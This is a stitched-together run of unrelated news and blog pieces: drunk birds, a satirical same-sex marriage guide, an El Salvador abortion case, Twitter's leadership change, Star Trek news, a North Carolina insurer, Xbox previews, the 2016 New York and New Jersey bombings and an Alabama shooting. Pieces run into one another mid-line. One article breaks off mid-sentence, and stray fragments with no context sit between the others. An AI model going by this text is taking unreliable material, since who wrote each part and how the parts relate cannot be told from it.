This happens to birds surprisingly often, especially in the fall, as freezing and thawing cycles turn berry juice into alcohol. “Most birds likely just get a bit tipsy,” Meghan Larivee, a scientist with Canada’s Environment Yukon, told National Geographic in 2014 after an incident with some hammered waxwings. “However, every now and then, some birds just overdo it.”
In those cases, she says, “They cannot coordinate their flight movements properly or at all.” But they probably think they’re doing awesome.
Every day, we track down a fleeting wonder—something amazing that’s only happening right now. Have a tip for us? Tell us about it! Send your temporary miracles to cara@atlasobscura.com.In light of the recent ruling, we have updated the following guide, originally published in June 2013:
In case you missed it, or just saw people screaming about it on Facebook, the U.S. Supreme Court just made the final decision legalizing gay marriage nationwide. Every time a ruling like this comes down, millions of people, most of whom are neither gay nor looking to get same-sex married, loudly ask how exactly it impacts their life...
The Free Republic Message Board
... so for them we provided a handy guide:
If You Are a Homosexual and Are Already Married:
↓ Continue Reading Below Advertisement
If you had been lucky enough to live in a state that allowed gay marriage, the federal government already recognized your marriage as a thing, and you were eligible for tax, health, and pension benefits under federal law like any other married couple. Previously, if you had moved to another state that didn't recognize gay marriage, that state didn't have to recognize your marriage. Now, your marriage is recognized everywhere, the same as anyone else's.
If You Are a Homosexual and Want to Get Married:
Where before this came down to whether or not your state had legalized it, now you are free to do so regardless of which state you live in.
If You Are a Heterosexual and Do NOT Want to Enter into a Homosexual Marriage:
You will not be required to marry a gay person. This is a common misunderstanding. This decision actually does not affect you in any way.
If You Are Currently in a Heterosexual Marriage:
This decision does not affect you in any way.
If You Are a Heterosexual Who Is Not Currently Married:
↓ Continue Reading Below Advertisement
This decision does not affect you in any way.
If You Are a Heterosexual Who Hopes to Eventually Marry:
This decision does not affect you in any way.
If You Are a Member of a Church That Performs Wedding Ceremonies but That Does Not Believe in Gay Marriage:
This decision does not affect you in any way.
If You Are a Religious Official Who Performs Wedding Ceremonies but Who Thinks Gay Marriage Is Wrong:
This decision does not affect you in any way.
If You Are an Individual Who Believes Gay Marriage or Homosexuality in General Is Wrong for Religious Reasons, and Wish to Continue Expressing Those Beliefs:
This decision does not affect you in any way.
If You Are an Individual Who Believes Gay Marriage or Homosexuality in General Is Wrong for Non-Religious Reasons, and Wish to Continue Expressing Those Beliefs:
This decision does not affect you in any way.
If You Are a Heterosexual Who Fears This Decision Adversely Affects Your Marriage or the Concept of Marriage in General:
This decision does not affect you in any way.
If You Are a Heterosexual Who Fears This Decision Negatively Affects You in Some Way:
This decision does not affect you in any way.
If You Are a Heterosexual Who Suffers Anger or Anxiety at the Thought of Gay Couples Getting Married as an Abstract Concept, and Believes the Only Cure Is to Legally Prevent Gay Marriage:
This decision will cause you some degree of anger or anxiety. Otherwise, this decision does not affect you in any way.
Hope this helps!
David Wong is the Executive Editor of Cracked.com and a New York Times bestselling author, pre-order his new novel here! For more from Dave, read 6 Harsh Truths That Will Make You A Better PersonEd. note: This is a guest post by Juliana Britto Schwartz. By day, Juliana is a student at University of California, Santa Cruz. By night, she is a Latina feminist blogger at Julianabritto.com, where she writes about reproductive health justice, immigration, and feminist movements in Latin America.
You all remember Savita Halappanavar, right? Well, the world is looking at another Savita right now, and the only thing standing between her and life is a group of Salvadoran politicians.
Savita Halappanavar was a pregnant woman living in Ireland who was denied a life-saving abortion because her doctors could still detect a fetal heartbeat and were therefore required by law not to terminate the pregnancy. She died of blood poisoning while her husband watched.
“Beatriz” is 22 years old, 18 weeks pregnant with an anencephalic fetus (meaning that the fetus will not survive outside of the womb), and suffering life-threatening pregnancy complications. However, Beatriz lives in El Salvador, one of the rare countries in which abortion is illegal under all circumstances, including threat to the mother’s life.
A month ago, Beatriz’s hospital and the organization Citizen Group for the Decriminalization of Therapeutic, Ethical and Eugenic Abortion petitioned the Supreme Court of El Salvador to provide her the abortion she needs. Though the government has agreed to consider it, they are delaying, and her condition has since worsened significantly.
If her doctors go on with the abortion, they could face up to 12 years of prison time. Beatriz could face anywhere between 2-50 years in prison, where she would join the 19 other women currently incarcerated in El Salvador for undergoing abortions.
As it stands, Beatriz has to decide between dying and leaving behind her baby son and husband, or going to jail.
And Beatriz isn |
? There is nothing true. If someone writes certain things I do not understand how we can go after certain items. Nothing exists with this company.
Vindication for Black and Red United. Shame on the rest of us rumor-mongers.Evan Williams is handing over Twitter’s CEO title to Chief Operating Officer Dick Costolo, as the microblogging company focuses on generating revenue that is consistent with its massive popularity.
Williams will stay involved in “product strategy,” while Costolo leads the various monetization efforts Twitter has launched in recent months, most of them focused on providing marketing and advertising services.
“Success to us means meeting our potential as a profitable company that can retain its culture and user focus while having a positive impact on the world,” Williams wrote in a blog post announcing the leadership shift.
So far, Twitter has been mostly focused on building features for the service and boosting its technical infrastructure, which was noticeably wobbly and prone to crashing in the past.
Developing Twitter as a product is the type of work that Williams is most comfortable with, he said. “I am most satisfied while pushing product direction. Building things is my passion, and I’ve never been more excited or optimistic about what we have to build,” he wrote.
During his tenure, Twitter grew from about 20 employees to 300, while the number of “tweets” posted to the service has grown from 1.25 million daily to 90 million, and registered users have gone from 3 million to more than 160 million.
He didn’t go into details about the current nor projected revenue of the company, which is privately held.
“I think it is a good move for Twitter," said Gartner analyst Ray Valdes. “Ev Williams’ strength is in strategy and product, not so much in other areas such as operations and finance. Twitter needs to marshall all its resources in an optimal way in order to stay on its high-growth track.”
As the former CEO of Feedburner, an RSS feed management and advertising company that was acquired by Google, Costolo is well-suited to lead Twitter as it pursues revenue-generating strategies that don't disrupt the service for users, said Jeremiah Owyang, an Altimeter Group analyst.
Like Feedburner, Twitter is heavily focused on social media management and traffic analytics for companies that market products on its service, Owyang said. “He looks to be a very promising leader of the company,” he said.
It’s safe to expect Williams to remain very involved with the company, especially at the product development level, Owyang said.
Created as a side project within Williams’ podcasting company Odeo in 2006, Twitter has become an Internet phenomenon used by private citizens, celebrities, corporations and organizations of all types to share ideas, post comments and promote products and brands via brief text messages no longer than 140 characters. Twitter also has a vibrant community of thousands of third-party developers who have built complementary applications for the service.
Despite its popularity, a nagging concern among industry observers has been whether the company can build a sustainable business that does justice to its status as one of the most popular Internet companies.
Updated at 4 p.m. PT to include analyst comment.Patrick Stewart is a legend (and is talking about marijuana), William Shatner has been cast in a new romantic comedy, Linda Park talks new Enterprise fans and her upcoming projects, and Robert Picardo will record your voicemail message. Also, there is sad news with iconic Star Trek guest star Lawrence Montaigne passing away.
Patrick Stewart Wins Empire Legend Award
On Sunday night in London Sir Patrick Stewart became the seventh recipient of the Empire Legend Award at the 22nd annual Empire Magazine Awards. Past honorees include Helen Mirren, Alan Rickman, and Tom Cruise. The award was presented to the Star Trek: The Next Generation star by his long-time friend Sir Ian McKellen. After some jibes at Stewart’s expense, McKellen got serious saying “The range of his work is so gratifying and enviable…He’s one of my heroes for the way he stands up for his causes. He’s the actor that people of my generation would like to be.”
Stewart was greeted with a standing ovation, and not just because he gave McKellen a big kiss when he got on stage (see above photo). Stewart got philosophical while accepting the award, saying (via Empire):
“‘Success is an impostor. It conceals the flaw, the wound, the fundamental doubt at the core of the artists’ being’. Well, I only quoted that as I wanted to go down as the only actor in history to quote Nietzche. But nevertheless, sometimes, Mr Nietzche, you are right.” He also makes sure to thank his “brother and friend, Ian.”
Star Trek Beyond was also nominated for Best Makeup and Hair, but the award went to Fantastic Beasts and Where to Find Them. More details on the ceremony at empireonline.com.
Stewart Backs Medical Marijuana in UK, Reveals He Uses it Every Day for Arthritis
Speaking of Sir Patrick, this week the actor took on another cause, advocating for medical marijuana in the United Kingdom. Oxford University announced a new study on the medical benefits of marijuana, titled the Cannabis Research Plan. Backers hope to influence the debate over changing laws in the UK to allow for medical marijuana. Stewart was one of the key celebrity backers of the new research project, and revealed that two years ago in California he was prescribed medical marijuana to treat arthritis. Stewart told the UK’s Telegraph he regularly uses a marijuana-based ointment for his hands, as well as edibles, to treat pain.
Shatner to Star in Romantic Comedy
William Shatner is set to star in the upcoming romantic comedy Senior Moment, according to Variety. Shatner will play a retired Navy fighter pilot and NASA test pilot who battles the law as his town seeks to get dangerous senior drivers off the road, resulting in his coveted convertible being impounded, and his license revoked. Shatner had this to say about the production, which begins shooting later this year: “I’m thrilled to be working with this group of talented people,” Shatner said. “I’m really looking forward to making a wonderfully funny movie.”
Park Talks New Audiences Finding Enterprise and New Play
Star Trek: Enterprise’s Linda Park recently began starring in the classic play Cat on a Hot Tin Roof as Maggie at the Gindler Performing arts Center in Glendale, CA. To promote the play she has a new interview with the official Star Trek site where she talked a bit about how Enterprise is finding new audiences:
I’ve been meeting so many young children who’ve had Enterprise introduced to them by their parents. So, that’s been really exciting for me, to have young audiences get excited about the show and the work we did. We came on very late in that whole Star Trek run. We didn’t really get the promotion we should have. We never had a lot of eyes on us when we were on the air, so it’s nice to know that people are finding Enterprise now, all this time later. And there are people re-discovering it, too. Some of the fans maybe did give us a chance when we were on and they’ve gone back and realized it was really pretty good.
Park also discussed her role in the upcoming third season of Amazon’s Bosch, which has previously cast Trek alumni. Jeri Ryan had a large role in season two. Bosch‘s third season will begin airing on April 21st.
Park yesterday offered this photo preview (below) of her character Maggie in Cat on a Hot Tin Roof via Instagram.
Perfecting the cat eye for Maggie the cat #catiscoming @antaeustheatre A post shared by Linda Park (@reallindapark) on Mar 18, 2017 at 11:12am PDT
Robert Picardo Will Record Your Voicemail Greeting If You Help Fund His New Play
Robert Picardo, Star Trek: Voyager’s Emergency Medical Hologram, has signed on to co-star in a new comedy play called “A Joke.” The production is trying to get enough money together to premiere at the Edinburgh Festival later this year. As with many crowdfunding projects, there is an abundance of possible rewards available. Picardo will record a custom ringtone or voicemail message for you for £50 (or about $63). More info on the play and possible funding rewards at danfreeman.co.uk.
Spoke about " A Joke " @TorontoComiCon yesterday. Please consider a unique gift for a pledge! https://t.co/iEmBmGduOm — Robert Picardo (@RobertPicardo) March 18, 2017
Picardo was on hand at Toronto Comic Con over the weekend and NerdBastards has a con report from his panel. As is his custom, Picardo was also available for photos with fans, which he likes to share on Twitter with pithy comments, as demonstrated below.
Did a Cos-Play interview with Hannah dressed as 7-of9 ; sponsored by Armor-All. pic.twitter.com/5R7lsdCM29 — Robert Picardo (@RobertPicardo) March 18, 2017
Lawrence Montaigne passes away at 86
Over the weekend, with sadness TrekMovie reported via Twitter and Facebook that actor Lawrence Montaigne had passed away in Las Vegas. Trek fans will know Montaigne from two classic Star Trek episodes, playing the Vulcan Stonn in “Amok Time,” and the Romulan Decius in “Balance of Terror.” He has also been a regular on the Trek convention circuit for years and even returned to the role of Stonn in the fan film Of Gods and Men. The news of Montaigne’s passing was first revealed by his daughter on Facebook, where friends, family, and fans have been offering their condolences. Fans can offer condolences on Lawrence’s own Facebook page as well.
Keep up with all the Star Trek celeb news at TrekMovie.com.0 Blue Cross cuts family policies for gay NC couples
ong> - (AP) — North Carolina's largest insurer has cancelled family insurance policies sold to 20 gay and lesbian couples on a federal insurance marketplace because of restrictive contract language the company plans to remove next year.
Blue Cross and Blue Shield of North Carolina was legally bound to invalidate the policies because of standard language in the insurer's individual policies that define "spouse" as "opposite sex," state Insurance Department spokeswoman Kerry Hall said.
Gay-rights advocates point out the nonprofit insurer offers domestic partner benefits to its own employees, The News & Observer of Raleigh reported (http://bit.ly/LWea22). Blue Cross insurance plans offered by large North Carolina companies also include health benefits for employees and their same-sex partner.
"I was so taken aback by it; I was speechless," said Al Hinman, who moved with his husband to Durham from New York last year. "It was wrong, and it shouldn't have happened that way. For 24 years we've been on the same insurance with a few gaps."
The only other insurer selling subsidized coverage on North Carolina's federally run insurance marketplace is Coventry Health, which doesn't bar same-sex couples from buying a family policy, spokesman Walt Cherniak said.
There could be similar language buried in the small print of insurance contracts in other states, but North Carolina is the only one where cancellations of same-sex customers have surfaced, said Brian Moulton, legal director for Human Rights Campaign, a Washington, D.C.-based gay-rights organization.
For most of the North Carolina couples hit by the cancellations, there is little or no cost to replacing a single family policy with separate, individual coverage. Hinman said the total premium for him and David Whitley, his husband of 4 years, dropped by about $68 a month by buying two policies.
But the incident underscores the many indignities that gay couples experience in states such as North Carolina that lack laws against discrimination based on sexual orientation, Moulton said.
Blue Cross has never offered domestic partner or same-sex health coverage on individual and small group policies in North Carolina, spokeswoman Michelle Douglas said. The insurer had intended to update its plans to include those offerings, but postponed making the change in terminology as the company scrambled to get ready for what turned out to be a rocky rollout of subsidized insurance under the Affordable Care Act. The change would have affected billing, insurance cards and other calculations that required time for implementation and testing. Douglas said.
Blue Cross said it plans in 2015 to offer the same insurance options to same-sex married couples and couples in domestic partnerships as are offered to everyone else.
"We recognize and agree that the ability to purchase family coverage is important from a fairness standpoint," Douglas said.Two game previews of upcoming video games, Rivals of Aether and Snooker Nation Championship have just launched on Xbox One. These game preview versions allow Xbox One owners to download and play in-development versions of the games for free and also allows the developers to make improvements and gain feedback before the official releases. Both game previews are works in progress and may contain bugs and unfinished elements.
Here’s the description for Rivals of Aether: Rivals of Aether is an indie fighting game set in a world where warring civilizations summon the power of Fire, Water, Air, and Earth. Choose a Rival to bring into the battlefield and manipulate the powers of the classical elements and animal movement. Untangle the mysterious conflicts of the planet Aether in Story Mode or take your combat skills online and challenge your friends across the world.
Download Rivals of Aether Game Preview on Xbox One
And here’s the description for Snooker Nation Championship: The Snooker Nation Championship, the most important event in your digital Snooker diary. The offline tournament spans 6 rounds, competing in the qualifiers through to the grand final held in the Snooker Nation Championship venue, played on meticulously created Championship specification tables. Or take a break from the crowds by challenging players online and climb the global leaderboards. Collect a variety of cues and compete in online snooker leagues. Snooker Nation Championship is digital snooker at is best.
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It’s been a big day today for video games on the Xbox One. In addition to these game previews, there has also been the release of the highly anticipated Kinect game, FRU, and several other traditional video games such as Pharaonic, KYUB, and The Solus Project.
Have you bought any new Xbox One games this week? Let us know what you’re playing in the comments below.
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Further reading: MicrosoftAn Instagram user caught video on Sept. 19 of New York City bombing suspect Ahmad Khan Rahami being arrested and put into an ambulance. (The Washington Post)
ELIZABETH, N.J. – Authorities said they apprehended Ahmad Khan Rahami, the 28-year-old wanted in connection with weekend bombings in Manhattan and Seaside Park, N.J., after a shootout Monday with police officers.
The bloody incident capped off a frantic few days in this region and beyond, marked by the dual bombings, a stabbing rampage in Minnesota and then, Sunday night, the discovery of still more explosive devices at a train station here. Even as the widening probe into the bombings continued across this region, authorities sought to reassure residents that the the bombings and additional explosives appeared to be the work of a lone person rather than a larger network.
Chris Bollwage, mayor of Elizabeth, N.J., told reporters that Rahami — whose last known address was in that city — had been taken into custody Monday in the neighboring city of Linden. Two police officers were shot during the encounter, according to authorities, one of them struck in their protective vest.
Rahami — a naturalized U.S. citizen born in Afghanistan, according to the FBI — was also shot and was taken away in an ambulance, officials said.
Television footage showed the suspect being wheeled into an ambulance, hands cuffed, eyes open. He was taken to University Hospital in Newark, according to a hospital spokeswoman, but his condition was not immediately available.
[Here’s what you need to know about the events in N.Y., N.J. and Minnesota]
Rahami was charged Monday with five counts of attempted murder of a law enforcement officer related to the gun battle in Linden, said acting Union County Prosecutor Grace H. Park. He has also been charged with two second-degree counts related to his possession of a handgun.
After the gunfire ended in Linden, Rahami — who was shot multiple times — was taken to University Hospital in Newark for surgery, officials said. They did not elaborate on his condition after surgery. Bail for Rahami has been set at $5.2 million by a state superior court judge.
Police and the FBI had announced early Monday that they were seeking Rahami in connection with the bombings in New Jersey and Manhattan’s Chelsea district, though his role in the incidents remains unclear.
“We have every reason to believe this was an act of terror,” New York Mayor Bill de Blasio (D) said at a news conference Monday afternoon discussing the bombings and Rahami’s arrest. Earlier in the day, he had said the investigation was leaning in that direction.
Authorities are not seeking any other individuals at this time, de Blasio said.
Now that Rahami is in custody, the investigation is shifting to focus on whether he acted alone and what his motivation may have been, said James O’Neill, the New York police commissioner.
William Sweeney Jr., assistant director in charge of the FBI’s New York division, said that authorities have found “no indication that there is a [terror] cell operating in the area.”
At least 29 people were injured in an explosion in the Chelsea neighborhood of New York City Sept. 17. Here's what we know so far. (Deirdra O'Regan/The Washington Post)
A federal law enforcement official said Monday that federal terrorism charges against Rahami are expected, adding that such charges are likely in both New York and New Jersey. In addition, Rahami is also expected to face criminal charges stemming from the gun battle leading to his capture.
Preet Bharara, U.S. Attorney for the Southern District of New York, said during the news conference Monday that his office and possibly its counterpart in New Jersey “will be working to put together as comprehensive and thorough a collection of allegations as makes sense.”
Another law enforcement official said that police had footage almost immediately after the explosion on Saturday in New York, along with “a number of different pieces of physical evidence” including fingerprints and DNA, though the official would not elaborate on which proved key in the investigation.
So far, the official said there is no information there are any additional devices remaining. As of Monday evening, it appeared Rahami had not spoken to investigators, the official said.
The manhunt for Rahami came after authorities took five people into custody Sunday night for questioning in connection with the Chelsea bombing — not long before law enforcement in New Jersey worked to render safe “multiple improvised explosive devices” discovered at a train station Sunday in Elizabeth, just across from Staten Island.
Federal law enforcement officials have told The Washington Post they believe all three cases involving explosives in New York and New Jersey to be linked. They would not say whether the five people taken into custody Sunday night and later released were linked to Rahami or how Rahami’s family fit in, if at all.
The developments sowed further concern about terrorism in the region and across the country. Already, police had been investigating three weekend incidents — including a stabbing attack in a Minnesota mall — that took place within a 12-hour period Saturday.
[What we know about the suspect in the New York, N.J. bombings: Ahmad Khan Rahami]
The investigation into the bombings has drawn in all levels of law enforcement and intelligence, and an increasing number of local, state and national officials have condemned the incidents as acts of terrorism.
“It’s been an extremely busy two days, obviously,” said O’Neill, the New York police commissioner, who assumed the post on Saturday.
Law enforcement officials said they were investigating whether Rahami could have been influenced by international militant groups or the ongoing conflict in his homeland, though they have not specified whether he operated as a lone wolf or has deeper connections to international terrorist groups.
Rahami was born in Afghanistan, the FBI said. On Monday, Hamdullah Mohib, Afghanistan’s ambassador to the U.S., said his government strongly condemned the bombings.
“We stand ready and willing to help with this matter if U.S. authorities request our cooperation,” Mohib said in a statement. “Afghanistan and its people desire peace above all else, and stand in solidarity with Americans against all forms of hatred and violence.”
Authorities were able to pull fingerprints from the Manhattan bomb that did not detonate, according to Rep. Peter King (R-N.Y.), who said he was briefed on details of the attack and shown the Chelsea bombing site by the FBI the morning after the explosion.
King said that investigators connected the bombs in New Jersey and in New York due to “similarities” in the explosives, among other things, and said that authorities used a cellphone attacked to the bomb that did not explode and traced it to another cellphone.
Still, King said that even though the bomb was made by an apparent amateur, it appeared to be impressive. He said it’s a matter of luck that more people were not seriously hurt.
“The dumpster that was exploded was thrown down the street,” King, a member of the House Homeland Security Committee, said in an interview. “It was sent flying. You had ball bearings everywhere. If streets had been crowded, there would have been bad injuries. There were windows broken as high as the third floor. It did quite a bit of damage.”
King said that he has been told that Rahami’s “trips to Afghanistan changed him,” adding that the 28-year-old had also visited Pakistan at some point.
After Rahami was arrested Monday, details began to emerge about how authorities found him.
Linden Police Capt. James Sarnicki told a local NBC affiliate that officers responded Monday to a call about a person sleeping in the doorway of a local bar. When police approached the man, they noticed his resemblance to the images on the wanted bulletin for Rahami.
Police then ordered him to show his hands, Sarnicki said, and Rahami “pulled out a handgun and fired one shot at the officer, striking him in the abdomen. Fortunately, the officer had a bulletproof vest on, which sustained most of the round.” That officer returned fire, the police captain said, but Rahami walked away.
“I understand that the suspect was indiscriminately firing his weapon at passing vehicles,” Sarnicki said. Rahami was eventually shot by police “more than once and … taken down to the ground,” Sarnicki said.
During the exchange of gunfire, Linden Mayor Derek Armstead said, a bullet ricocheted off a police vehicle and grazed another officer. A third officer was treated for high blood pressure.
“All three are going to be fine,” the mayor said. “We’re grateful no one was hurt.”
A Linden resident who went to the scene of the arrest said he saw the suspect lying on the ground on his side, handcuffed and seemingly in pain. Within 10 minutes, more than 100 law enforcement officials swarmed the area, said the witness, who did not want his name used.
The two wounded officers were loaded onto ambulances and taken away first, and another ambulance took Rahami away 10 to 15 minutes later, the man said.
President Obama spoke on the phone Monday with the two officers who were injured, according to the White House. He also spoke with an off-duty officer who shot and killed a man attacking people inside a Minnesota mall on Saturday, thanking all three officers for their actions in recent days.
Before the shootout in New Jersey involving the two officers, FBI agents had also launched an “operation” at an address on Elmora Avenue in Elizabeth, about a mile away from New Jersey Transit’s Elizabeth station. Court records show members of the Rahami family live and work at the address, where a restaurant called First American Fried Chicken is on the ground floor.
Court records show that several members of the Rahami family had owned and operated the restaurant since 2002. It is unclear when Ahmad Rahami himself lived there or what role — if any — he had in the business.
FBI agents Monday in Elizabeth, N.J. (Mel Evans/AP)
In 2011, the Rahami family sued the city of Elizabeth and several police officers, alleging they had been inappropriately cited for keeping their business open past 10 p.m. and harassed by police.
They alleged that a man in the neighborhood told them “you are Muslims” and “Muslims make too much trouble in this country” and complained unfairly to law enforcement, who singled them out “solely on animus against [their] religion, creed, race and national origin.”
In one instance, they alleged, two Rahami family members were arrested for attempting to record a conversation with officers.
New York Gov. Andrew Cuomo (D) told CBS News on Monday that “there may be a foreign connection” involving the bombing in Manhattan, though he did not elaborate.
About 8:45 p.m. Sunday, the FBI and the New York Police Department stopped what the bureau’s New York field office called a “vehicle of interest” in the Manhattan bombing investigation and took five people into custody.
On Monday afternoon, authorities said that the passengers in the car had been questioned by Joint Terrorism Task Force agents and detectives, but said they were not in custody and none had been arrested.
An explosive device detonated as a bomb squad robot attempted to disarm it Sept.18. This was one of multiple devices found in a suspicious package near a train station in New Jersey. (Reuters)
Law enforcement also combed an area around the train station in Elizabeth, where a backpack with “multiple improvised explosive devices” was found.
Bollwage, the Elizabeth mayor, said that up to five devices were discovered inside a backpack, and one of the devices — found around 8:30 p.m. Sunday — exploded as it was being disarmed shortly after 12:30 a.m. Monday. The New Jersey Transit rail system halted rail service near Newark Airport due to the police activity. Regular service was restored before dawn.
The mayor said Monday that two homeless men found the explosives. Thinking there would be something valuable in the backpack, they opened it — but found what appeared to be explosive devices and reported it to the police.
They were “on the side of the angels,” Bollwage said, noting that the men didn’t get blown up when they touched the bag. If the bombs had exploded hours later, during rush hour, “hundreds of people would have been killed and injured,” the mayor said.
Each of the weekend incidents — the discovery of the devices in Elizabeth, the bombing that injured 29 in Chelsea, an explosion along the route of a scheduled race in Seaside Park, N.J., and a stabbing that wounded nine in a St. Cloud, Minn., mall — raised the possibility of terrorist connections, prompting federal and local law enforcement to pour major resources into determining exactly what happened and why.
A news agency linked to the Islamic State claimed Sunday that the suspect in Minnesota, who was fatally shot by an off-duty police officer, was “a soldier” of the militant group, though there was no confirmation of what connection the man may have had with the terrorist group.
A claim of responsibility is no guarantee that the terrorist group directed or even inspired the attack, and authorities said they were still exploring a precise motive. The Islamic State made no similar claims about the New York and New Jersey incidents.
[Minnesota mall stabber was ‘a soldier of the Islamic State,’ ISIS-linked news agency claims]
In New York, authorities said there was no evidence that the mysterious Saturday-night explosion was motivated by international terrorism, though they confirmed that the bombing was intentional. “This is the nightmare scenario,” Cuomo said.
Earlier Sunday, New York’s governor said nearly 1,000 police officers and National Guard troops would be sent to bus stops, train stations and airports, as investigators with the New York Police Department, the FBI and the Bureau of Alcohol, Tobacco, Firearms and Explosives worked to identify the person or people responsible for the explosion.
One law enforcement official said that while it was looking like the New Jersey and New York blasts “might be connected,” investigators still didn’t have any hard evidence. The official also said that only one of the three pipe bombs in New Jersey detonated.
[Pipe bomb explodes along Jersey Shore charity 5K racecourse, officials say]
Those injured in the Saturday night blast in Chelsea had been released from hospitals by Sunday.
The Manhattan explosion occurred about 8:30 p.m. Saturday in the area of West 23rd Street between Sixth and Seventh avenues, injuring 29 people as it hurled glass and debris into the air, officials said. Surveillance video showed passersby running to get away from the blast, and investigators said they would comb through that and older footage to try to identify those responsible.
Authorities said the explosion was produced by some type of bomb, and they posted on Twitter a photo of what appeared to be a mangled Dumpster or garbage container. Masum Chaudry, who manages a Domino’s Pizza near the scene, said the explosion “shook the whole building” and caused “total chaos.”
Investigators are somewhat puzzled by the placement of the bomb, which appeared to mitigate the impact of the blasts. “There’s some unanswered questions on that,” said one federal law enforcement official. “Why there? Some of that from our point of view isn’t adding up.”
Said Cuomo: “When you see the amount of damage, we really were very lucky there were no fatalities.”
A short time after the explosion, just a few blocks away, police found another potentially explosive device, which looked like a pressure cooker with wiring, according to a law enforcement official who spoke on the condition of anonymity to discuss the ongoing investigation. Pressure cookers were used in the two bombs detonated at the Boston Marathon in 2013.
The New York police said that this pressure-cooker-type device was first rendered safe at a Bronx facility. This device and materials from Seaside Park, N.J., were sent to the FBI’s lab in Quantico, Va., where they and the remnants of the device that exploded will be analyzed, authorities said.
The pressure cooker has been seen as an inexpensive tool used to create deadly explosives long before the Sept. 17 attacks in New York City which left 29 people injured. (Ashleigh Joplin/The Washington Post)
Officials differed on whether to call the Saturday night explosion an act of terrorism. Cuomo said: “It depends on your definition of terrorism. A bomb exploding in New York is obviously an act of terrorism, but it’s not linked to international terrorism.” Over the weekend, city, police and FBI officials said it was too early to determine any type of motivation, though they insisted they would not shy from labeling the crime an act of terror if it became appropriate to do so.
New York City Mayor Bill de Blasio said officials will not jump to conclusions or offer "easy answers" in relation to a deliberate explosion in Manhattan's Chelsea neighborhood that injured nearly 30 people. (Reuters)
The incidents came as foreign leaders, including many heads of state, were heading to Manhattan for the United Nations General Assembly. Secretary of State John F. Kerry arrived Saturday, while President Obama arrived in the city Monday.
The annual U.N. meeting — held more than two miles from the site of the explosion in Chelsea — is traditionally a challenging time for New York, as many roads are shut down and the heavy security leads to traffic jams. Officials said they had already prepared to beef up security, and now they would intensify those efforts.
Speaking in New York, Obama said there was no known connection between the stabbings in Minnesota and the incidents in New York and New Jersey. But the attacks only reinforced his resolve to continue fighting the Islamic State, both on the ground and online, he said.
“We will continue to lead the global coalition in the fight to destroy ISIL, which is instigating a lot of people over the Internet to carry out attacks,” Obama said, using one of the acronyms for the Islamic State. “We’re going to continue to enlist tech companies and community and religious leaders to push back against online extremist content and all messages of hate.”
The president also emphasized the need to be vigilant but cautioned citizens against giving in to fear.
“At moments like this, I think it’s important to remember what terrorists and violent extremists are trying to do: They are trying to hurt innocent people, but they also want to inspire fear in all of us and to disrupt the way we live and to undermine our values,” he said.
President Obama sought to reassure the public Sept. 19, after a series of explosives were planted in New York and New Jersey over the weekend. (The Washington Post)
On the campaign trail, the Democratic and Republican presidential candidates offered varied reactions to news of the incidents.
“I think this is something that will maybe get — will happen perhaps more and more all over the country,” Donald Trump told “Fox and Friends.” “It’s a mess and it’s a shame, and we’re going to have to be very tough.”
Trump also said he agreed with early reports of a possible foreign connection to the bombings, and argued that the stricter immigration policies he has proposed would better protect the U.S. from terror.
Speaking in White Plains, N.Y., Clinton told reporters that the United States should launch an “intelligence surge” to identify and thwart attacks before they are carried out.
“This threat is real, but so is our resolve,” she said. “Americans will not cower. We will prevail. We will defend our country. A lot of the rhetoric from Donald Trump has been seized on by terrorists, particularly ISIS. They want to use that to recruit more fighters to their cause by turning it into a religious conflict. That’s why I’ve been very clear. We’re going after the bad guys and we’re going to get them, but we’re not going after an entire religion.”
Speaking at a town hall event Monday, New Jersey Gov. Chris Christie (R) said there “is no doubt in my mind that the incidents in New York, Elizabeth and Seaside Park are connected.” Though officials haven’t determined a motive in the attacks, Christie mentioned Muslim terrorists in his remarks.
“Those who are radical, especially radical Islamic terrorists, need to be called out,” he said. “We don’t know what the motivation is for the last 48 hours, but I think we have feeling for what it is.”
The Council on American-Islamic Relations, a Washington-based advocacy group, said Monday that it welcomed Rahami’s arrest.
“American Muslims, like all Americans, reject extremism and violence, and seek a safe and secure nation,” CAIR’s Executive Director Nihad Awad said in a statement. “Our nation is most secure when we remain united and reject the fear-mongering and guilt by association often utilized following such attacks. We stand together with our fellow Americans in New York, New Jersey and Minnesota as we deal with the troubling phenomenon of domestic terrorism.”
The Chelsea explosion occurred about 11 hours after a pipe bomb exploded in a Jersey Shore garbage can, shortly before a scheduled charity 5K race to benefit Marines and Navy sailors. No one was hurt.
Officials said that device, too, would be sent to the FBI lab in Quantico, though Cuomo noted the pipe bombs used in New Jersey “appear to be different” than those in New York.
Two law enforcement officials said residue of tannerite — used primarily for making exploding targets for firearms practice — was found in material that had detonated in New York. The explosive material found in New Jersey was a black powder. The two officials said a cellphone was used to detonate the explosives in both New York and Seaside Park, N.J. Bollwage said there was no cellphone with the devices in Elizabeth.
Nakashima reported from New York, Zapotosky, Wang and Berman from Washington. Sarah Larimer in New Jersey, Philip Bump in New York and Brian Murphy, Kristine Guerra, Sari Horwitz, Sean Sullivan, Steven Overly, John Wagner, Julie Tate, William Wan, Derek Hawkins and Cleve R. Wootson Jr. contributed to this report, which has been updated multiple times since it was first published Sunday night.
1 of 29 Full Screen Autoplay Close Skip Ad × What the scene of an explosion in New York’s Chelsea neighborhood looked like View Photos The blast in Manhattan injured 29. Caption The blast in Manhattan injured 29. Sept. 19, 2016 Police secure the area where they arrested Ahmad Khan Rahami, who was wanted in connection with bombings in Manhattan and New Jersey, after a shootout in Linden, N.J. Jewel Samad/AFP/Getty Images Buy Photo Wait 1 second to continue.
Read more:
ISIS-linked news agency: Suspect in stabbings at Minnesota mall was ‘a soldier of the Islamic State’A man admits that he shot and killed a man Sunday night in Theodore but he claims it was an accident and in self defense.
Ronald Vaughan was on his own property when he shot Jeffrey Sanford, 21, after an altercation between Sanford, another man and Vaughan's daughter.
Vaughan said he never meant to hurt anyone but he wanted the men off his property and away from his children.
"I don't know if that man had malice in his heart or nothing," said Vaughan, "If you come to someone's house, you're out to hurt them. So the gun went off and just killed the boy right there."
Vaughan said the tragic moments that led to him accidentally shooting a man have been on replay over and over again in his mind.
According to Vaughan, two men who were involved in a fight with his daughter, followed her and her young children to their home on Alice Lane Sunday night.
Vaughan said he armed himself with a shotgun and confronted the men before firing a warning shot and telling them to leave.
"When i turned my back to go into the house, they jumped me from behind. One of them grabbed the barrel and one grabbed the handle," Vaughan said.
Vaughan said he believed he was in a struggle for his and his children's lives.
"One of them gave up and the other one was right there. Me and him were fighting. He was pulling the gun back and forth and it went off," said Vaughan.
A Mobile County Sheriff's Office said a round from the firearm struck Sanford in the neck.
